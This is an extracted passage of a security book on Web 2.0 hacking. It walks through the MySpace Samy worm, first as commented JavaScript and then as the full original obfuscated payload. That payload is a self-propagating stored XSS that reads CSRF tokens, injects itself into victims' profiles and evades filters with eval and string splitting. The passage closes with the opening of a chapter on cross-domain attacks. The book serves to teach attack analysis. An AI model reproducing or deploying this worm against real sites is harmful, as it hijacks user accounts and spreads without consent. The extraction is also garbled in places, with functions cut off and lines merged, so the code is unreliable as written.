Hacking Exposed ™ Web 2.0 phần 4 ppt

The "FriendID" and the "Mytoken" value are // required for the worm to make requests on the Victim's behalf.. If his is not // already the victim's hero, the code does the first step to

// This is Samy's closest attempt to a core routine However, he uses many // global function calls and horribly misuses XMLHttpRequest's callback to // chain all of the requests together.

function main() {

// grab the victim's friendID The "FriendID" and the "Mytoken" value are // required for the worm to make requests on the Victim's behalf var friendId = getVictimsFriendId();

var url = '/index.cfm?fuseaction=user.viewProfile&friendID=' + friendId + '&Mytoken=' + myTokenParameter;

xmlHttpRequest = getXMLObj();

// This request starts a chain of HTTP requests Samy uses the callback // function in XMLHttpRequest to chain numerous requests together The // first request simply makes a request to view the user's profile in // order to see if "samy" is already the victim's hero.

httpSend(url, analyzeVictimsProfile, 'GET');

xmlhttp2 = getXMLObj();

// This adds user "11851658" (Samy) to the victim's friend list httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&" + "Mytoken=' + myTokenParameter, addSamyToVictimsFriendsList, 'GET'); }

The most interesting line above is httpSend(url, analyzeVictimsProfile, 'GET');, because it starts the chain of XMLHttpRequests that ultimately adds all the JavaScript code into the victim’s profile page The first request simply loads up the victim’s profile page The next function, analyzeVictimsProfile(), handles the HTTP response, and is shown here:

// This function reviews Samy's first request to the victim's main "profile" // page The code checks to see if "samy" is already a hero If his is not // already the victim's hero, the code does the first step to add samy as a // hero, and more importantly, injects the worm in the victim's profile // page The second step is performed in postHero().

// Grab the victim's "Heros" section of their main page.

var htmlBody = xmlHttpRequest.responseText;

heroString = subStringBetweenTwoStrings(htmlBody, 'P' + 'rofileHeroes', '</td>');

heroString = heroString.substring(61, heroString.length);

// Check if "samy" is already in the victim's hero list Only add the worm // if it's not already there.

if (heroString.indexOf('samy') == -1) {

if (heroCommentWithWorm) {

// take the user's original hero string and add "but most of all,

// samy is my hero.", the script injection and the attack code.

heroString += heroCommentWithWorm;

// grab the victim's Mytoken Mytoken is MySpace's CSRF protection // token and is required to make client state change requests var myToken = getParameterFromString(htmlBody, 'Mytoken');

// Create the request to add samy as the victim's hero and most // importantly inject this script into the victim's page.

var queryParameterArray = new Array();

queryParameterArray['interestLabel'] = 'heroes';

queryParameterArray['submit'] = 'Preview';

queryParameterArray['interest'] = heroString;

xmlHttpRequest = getXMLObj();

// Make the request to preview the change After previewing:

// - grab the "hash" token from the preview page (required to perform

// the final submission)

// - run postHero() to finally submit the final submit to add the // worm to the victim.

httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + myToken, postHero, 'POST',

parameterArrayToParameterString(queryParameterArray));

}

}

}

Note that the function above first checks whether the victim has already been victimized

If not, it grab’s the victim’s Mytoken, and begins the first step (of two) to add Samy to the victim’s Heros section, and it injects the script injection and attack code into the victim’s profile page, too It does so by performing the profile.previewInterests action on MySpace with the worm code, appropriate friendID, and appropriate Mytoken The next step runs postHero(), which grabs a necessary hash token and submits the final request to add Samy as the victim’s hero and add the script injection and attack code to the victim’s profile page

// postHero() grabs the "hash" from the victims's interest preview page // performs the final submission to add "samy" (and the worm) to the // victim's profile page.

var htmlBody = xmlHttpRequest.responseText;

var myToken = getParameterFromString(htmlBody, 'Mytoken');

var queryParameterArray = new Array();

// The next 3 array elements are the same as in analyzeVictimsProfile() queryParameterArray['interestLabel'] = 'heroes';

queryParameterArray['submit'] = 'Submit';

queryParameterArray['interest'] = heroString;

// The "hash" parameter is required to make the client state change to add queryParameterArray['hash'] = getHiddenParameter(htmlBody, 'hash'); httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + myToken, nothing, 'POST',

parameterArrayToParameterString(queryParameterArray));

}

This code is pretty straightforward postHero() performs a similar request as analyzeVictimsProfile(), except it adds the hash value acquired by the preview action and sends the final request to add the attack code to MySpace’s profile.processInterests action postHero() concludes the XMLHttpRequest chain Now the victim has “but most of all, samy is my hero” in his or her Hero’s section with the script injection and attack code hidden in the victim’s profile page awaiting more victims.The main()function also performs another XMLHttpRequest to add Samy to the victim’s friend list This request is performed by the following function:

// This function adds user "11851658" (a.k.a Samy) to the victim's friends // list

var htmlBody = xmlhttp2.responseText;

var victimsHashcode = getHiddenParameter(htmlBody, 'hashcode');

var victimsToken = getParameterFromString(htmlBody, 'Mytoken');

var queryParameterArray = new Array();

queryParameterArray['hashcode'] = victimsHashcode;

// Samy's (old) ID on MySpace

queryParameterArray['friendID'] = '11851658';

queryParameterArray['submit'] = 'Add to Friends';

// the "invite.addFriendsProcess" action on myspace adds the friendID (in // the POST body) to the victim's friends list

httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + victimsToken, nothing, 'POST',

Samy’s Supporting Variables and Functions

Some of the functions shown in the preceding code call other functions within the worm For completeness, we present the rest of the worm code This code contains some interesting

tricks to circumvent MySpace’s security controls such as using String.fromCharCode()and obfuscating blocked strings with string concatenation and the eval() function.// Samy needed double quotes and single quotes, but was not able to place // them in the code So he grabs the characters through

// String.fromCharCode().

var doubleQuote = String.fromCharCode(34); // 34 == "

var singleQuote = String.fromCharCode(39); // 39 == '

// Create a TextRange object in order to grab the HTML body of the page that // this function is running on This is equivalent to

// document.body.innerHTML

// Interestingly, createTextRange() is IE specific and since the script // injection is IE specific, he could have shorten this code drastically to // simply "var getHtmlBody = document.body.createTextRange().htmlText;" function getHtmlBody() {

friendIdParameter = getParameterFromString(htmlBody, 'friendID'); myTokenParameter = getParameterFromString(htmlBody, 'Mytoken');

}

// Grab the query parameters from the current URL A typical query parameter // is "fuseaction=user.viewprofile&friendid=SOME_NUMBER&MyToken=SOME_GUID" // This returns an Array with index "parameter" and value "value" of a // "parameter=value" pair.

function getQueryParameters() {

var E = document.location.search;

var F = E.substring(1, E.length).split('&');

var queryParameterArray = new Array();

for(var O=0; O<F.length; O ++) {

function nothing() {}

// Convert the queryParameterArray back to a "&" delimited string with some // URL encoding The string is used as the body of POST request that changes // the viticim's information.

function httpSend(url, xhrCallbackFunction, requestAction, xhrBody) {

if (requestAction == 'POST') {

xmlHttpRequest.setRequestHeader('Content-Type',

'application/x-www-form-urlencoded');

xmlHttpRequest.setRequestHeader('Content-Length',xhrBody.length); }

var someStringAfterStartIndex = bigStr.substring(startIndex, startIndex + 1024);

function getHiddenParameter( bigStr, parameterName) {

return subStringBetweenTwoStrings(bigStr, 'name=' + doubleQuote + parameterName + doubleQuote + ' value=' + doubleQuote, doubleQuote); }

// "bigStr" should contain a string of the form

// "parameter1=value1&parameter2=value2&parameter3=value3" If

var xmlHttpRequest = false;

// This function makes a post request using XMLHttpRequest When // "xhrCallbackFunction" is "nothing()", this entire process could have been // written by creating a form object and auto submitting it via submit() function httpSend2(url, xhrCallbackFunction, requestAction, xhrBody) {

if (!xmlhttp2) {

return false;

// Apparently, Myspace blocked user content with "onreadystatechange", so // Samy used string contentation with eval() to circumvent the blocking eval('xmlhttp2.onr' + 'eadystatechange=xhrCallbackFunction');

xmlhttp2.open(requestAction, url, true);

if (requestAction == 'POST') {

xmlhttp2.setRequestHeader('Content-Type',

'application/x-www-form-urlencoded');

xmlhttp2.setRequestHeader('Content-Length',xhrBody.length); }

xmlhttp2.send(xhrBody);

return true;

}

THE ORIGINAL SAMY WORM

The SAMY worm in its original, terse, and obfuscated form is shown here

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var

B=String.fromCharCode(34);var A=String.fromCharCode(39);function g()

{var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e) {}if(C){return C}else{return eval('document.body.inne' +'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring

(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O ++) {var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var

AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];

if(location.hostname=='profile.myspace.com'){document.location=

'http://www.myspace.com' +location.pathname+location.search}else{if

(!M){getData(g())}main()}function getClientFID(){return findIn(g(),

'up_launchIC( ' +A,A)}function nothing(){}function paramsToString(AV)

{var N=new String();var O=0;for(var P in AV){if(O>0){N +='&'}var

Q=escape(AV[P]);while(Q.indexOf(' +')!=-1){Q=Q.replace('+','%2B')}

while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N +=P+'='+Q;O++}return N} function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr' +'

eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader ('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader ('Content-Length',BK.length)}J.send(BK);return true}function findIn

(BF,BB,BC){var R=BF.indexOf(BB) +BB.length;var S=BF.substring(R,R+1024); return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG) {return findIn(BF,'name=' +B+BG+B+' value='+B,B)}function getFromURL(BF,BG) {var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG +'=';var

V=BF.indexOf(U) +U.length;var W=BF.substring(V,V+1024);var

X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj()

{var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}

catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject ('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')} catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m' +'ycode'); var AC=AA.substring(AB,AB +4096);var AD=AC.indexOf('D'+'IV');var AE=AC substring(0,AD);var AF;if(AE){AE=AE.replace('jav' +'a',A+'jav'+'a');

AE=AE.replace('exp' +'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero <d' +'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if

(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P' +

'rofileHeroes','</td>');AG=AG.substring(61,AG.length);

if(AG.indexOf('samy')==-1){if(AF){AG +=AF;var AR=getFromURL(AU,'Mytoken'); var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=

profile.previewInterests&Mytoken=' +AR,postHero,'POST',paramsToString(AS))}}} function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes'; AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter

(AU,'hash');httpSend('/index.cfm?fuseaction=

profile.processInterests&Mytoken=' +AR,nothing,'POST',paramsToString(AS))} function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=

('xmlhttp2.onr' +'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);

if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type',

'application/x-www-form-urlencoded');xmlhttp2.setRequestHeader

('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

This page intentionally left blank

Next Generation Web Application

Attacks

Copyright © 2008 by The McGraw-Hill Companies Click here for terms of use

This page intentionally left blank

72 Hacking Exposed Web 2.0

This chapter expands on the discussion of browser security controls and explains a

series of serious vulnerabilities that can be described as cross-domain attacks.

The attack icon in this chapter represents a flaw, vulnerability, or attack with cross-domain security issues

WEAVING A TANGLED WEB:

THE NEED FOR CROSS-DOMAIN ACTIONS

As discussed in Chapter 2, a user’s web browser is responsible for enforcing rules on content downloaded from web servers to prevent malicious activities against the user or

other web sites The general idea behind these protections is called the Same Origin Policy,

which defines what actions can be taken by executable content downloaded from a site and protects content downloaded from different origins

A good example of a disallowed activity is the modification of the Document Object Model (DOM) belonging to another web site The DOM is a programmatic representation

of a web page’s content, and the modification of a page’s DOM is a key function of the client-side component of a Web 2.0 application However, this kind of modification is not allowed across domains, so Asynchronous JavaScript and XML (AJAX) client code is restricted to updating content that comes from the same origin as itself

The fundamental property of the World Wide Web is the existence of hyperlinks between web sites and domains, so obviously a certain amount of interaction is allowed between domains In fact, almost every modern web application comprises content served from numerous separate domains—sometimes even domains belonging to independent or competing entities

Uses for Cross-Domain Interaction

Let’s look at some legitimate cross-domain interactions that are used by many web sites

Links and iFrames

The original purpose of the World Wide Web was to provide a medium whereby scientific and engineering documents could provide instant access to their references, a purpose fulfilled with the hyperlink The basic text link between sites is provided by the <a> tag, like so:

<a href="http://www.example.com/index.html">This is a link!</a>

Images can also be used as links:

<a href="http://www.example.com/index.html">

<img src="/images/link_button.png">

</a>